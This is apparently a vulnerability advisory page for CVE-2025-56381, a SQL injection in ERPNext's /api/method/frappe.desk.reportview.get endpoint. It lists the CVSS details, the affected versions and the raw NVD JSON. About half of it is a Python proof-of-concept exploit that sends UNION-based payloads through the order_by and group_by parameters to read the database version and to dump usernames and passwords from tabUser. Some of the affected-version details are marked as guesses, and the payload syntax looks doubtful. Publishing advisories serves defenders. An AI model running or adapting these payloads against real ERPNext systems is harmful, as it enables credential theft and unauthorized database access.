Security Vulnerability Report
中文
CVE-2025-56381 CVSS 6.5 MEDIUM

CVE-2025-56381

Published: 2025-10-02 14:15:46
Last Modified: 2025-10-03 16:18:37

Description

ERPNEXT v15.67.0 was discovered to contain multiple SQL injection vulnerabilities in the /api/method/frappe.desk.reportview.get endpoint via the order_by and group_by parameters.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:frappe:erpnext:15.67.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:frappe:frappe:15.72.4:*:*:*:*:*:*:* - VULNERABLE
ERPNext v15.67.0
ERPNext < v15.67.1(推测)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-56381 - ERPNext SQL Injection PoC # Target: /api/method/frappe.desk.reportview.get # Vulnerable parameters: order_by, group_by TARGET_URL = "https://target-erpnext.com" ENDPOINT = "/api/method/frappe.desk.reportview.get" def exploit_sql_injection(target_url, param_name, payload): """ Exploit SQL injection in order_by or group_by parameters """ url = f"{target_url}{ENDPOINT}" # Base parameters for the reportview.get method data = { "doctype": "User", "fields": ["name", "email"], "filters": {}, "order_by": "name asc", "group_by": "" } # Inject malicious payload into the specified parameter if param_name == "order_by": data["order_by"] = payload elif param_name == "group_by": data["group_by"] = payload try: response = requests.post(url, json=data, timeout=30) if response.status_code == 200: print(f"[+] Request successful via {param_name}") print(f"[+] Response: {response.text[:500]}") return response.json() else: print(f"[-] Request failed with status: {response.status_code}") return None except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": # Example: Extract database version via UNION-based injection in order_by payload_order_by = "name asc, (SELECT 1 UNION SELECT @@version)-- -" exploit_sql_injection(TARGET_URL, "order_by", payload_order_by) # Example: Extract user credentials via group_by injection payload_group_by = "name UNION SELECT username, password FROM tabUser-- -" exploit_sql_injection(TARGET_URL, "group_by", payload_group_by)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56381", "sourceIdentifier": "[email protected]", "published": "2025-10-02T14:15:45.890", "lastModified": "2025-10-03T16:18:36.807", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ERPNEXT v15.67.0 was discovered to contain multiple SQL injection vulnerabilities in the /api/method/frappe.desk.reportview.get endpoint via the order_by and group_by parameters."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:erpnext:15.67.0:*:*:*:*:*:*:*", "matchCriteriaId": "C2D1FAC2-E38C-45C7-84E3-0D82B1BE88DB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:frappe:frappe:15.72.4:*:*:*:*:*:*:*", "matchCriteriaId": "76F8F843-7675-4B36-9972-1D001E2869F9"}]}]}], "references": [{"url": "https://github.com/MoAlali/", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/MoAlali/CVE-2025-56381", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}